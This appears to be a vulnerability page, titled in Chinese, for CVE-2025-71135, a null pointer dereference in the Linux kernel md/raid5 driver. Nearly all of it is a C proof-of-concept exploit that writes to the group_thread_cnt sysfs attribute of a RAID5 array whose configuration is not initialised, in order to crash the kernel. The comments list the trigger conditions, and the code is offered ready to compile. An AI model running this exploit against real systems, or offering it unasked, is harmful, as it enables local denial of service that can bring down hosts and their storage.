CVE-2025-71135 Linux内核md/raid5空指针解引用漏洞

/* * CVE-2025-71135 PoC - Linux Kernel md/raid5 Null Pointer Dereference * This PoC demonstrates triggering the vulnerability through sysfs interface * Requires: Local access with permission to configure md devices */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/types.h> #define SYSFS_MD_PATH "/sys/block/md*/md/" #define GROUP_THREAD_CNT_FILE "group_thread_cnt" int trigger_null_ptr_deref(const char* md_device) { char path[256]; char value[32]; int fd; /* Construct path to group_thread_cnt sysfs attribute */ snprintf(path, sizeof(path), "/sys/block/%s/md/group_thread_cnt", md_device); /* Open the sysfs attribute for writing */ fd = open(path, O_WRONLY); if (fd < 0) { perror("Failed to open group_thread_cnt"); return -1; } /* Write a value to trigger the vulnerable code path */ /* The vulnerability occurs when mddev->private is NULL */ snprintf(value, sizeof(value), "4\n"); if (write(fd, value, strlen(value)) < 0) { perror("Write failed - may indicate null pointer dereference"); } close(fd); return 0; } int main(int argc, char* argv[]) { const char* md_device = "md0"; if (argc > 1) { md_device = argv[1]; } printf("[*] CVE-2025-71135 PoC\n"); printf("[*] Target: %s\n", md_device); printf("[*] Attempting to trigger null pointer dereference...\n"); /* Trigger conditions: * 1. RAID5 array in degraded state or not fully initialized * 2. mddev->private (conf) is NULL * 3. Write to group_thread_cnt sysfs attribute */ trigger_null_ptr_deref(md_device); printf("[*] PoC execution completed\n"); return 0; }